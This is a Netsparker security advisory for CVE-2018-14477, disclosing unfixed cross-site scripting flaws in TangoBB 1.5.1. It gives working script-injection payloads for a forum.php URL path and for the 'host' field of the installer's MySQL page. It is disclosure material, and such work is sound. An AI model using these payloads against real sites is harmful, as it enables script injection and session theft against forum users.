Advisory by Netsparker
Name: Cross-site Scripting Vulnerabilities in TangoBB
Affected Software: TangoBB
Affected Versions: 1.5.1
Vulnerability: Cross-site Scripting Vulnerabilities
Severity: High
Status: Not Fixed
CVE-ID: CVE-2018-14477
CVSS Score (3.0): CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N
Netsparker Advisory Reference: NS-18-007

Technical Details

URL  http://app.scan/ScanApp/TangoBB-1.5.1/forum.php/'"--></style></scRipt><scRipt>netsparker(0x001432)</scRipt>  
Proof URL  http://app.scan/ScanApp/TangoBB-1.5.1/forum.php/'"--></style></scRipt><scRipt>alert(0x001432)</scRipt>  
Parameter Name  URI-BASED
Parameter Type  Full URL
Attack Pattern  /'"--></style></scRipt><scRipt>netsparker(0x001432)</scRipt>  

Technical Details - (Install)

URL  http://app.scan/ScanApp/TangoBB-1.5.1/install/pages/mysql.php
Parameter Name  host
Parameter Type  POST
Attack Pattern  '"--></style></scRipt><scRipt>netsparker(0x000BF8)</scRipt>

For more information on cross-site scripting vulnerabilities read the article Cross-site Scripting (XSS).

Advisory Timeline

20 November 2017 - Issue Reported
10 September 2018 - Advisory Released

Credits & Authors

These issues have been discovered by Omar Kurt while testing Netsparker Web Application Security Scanner.

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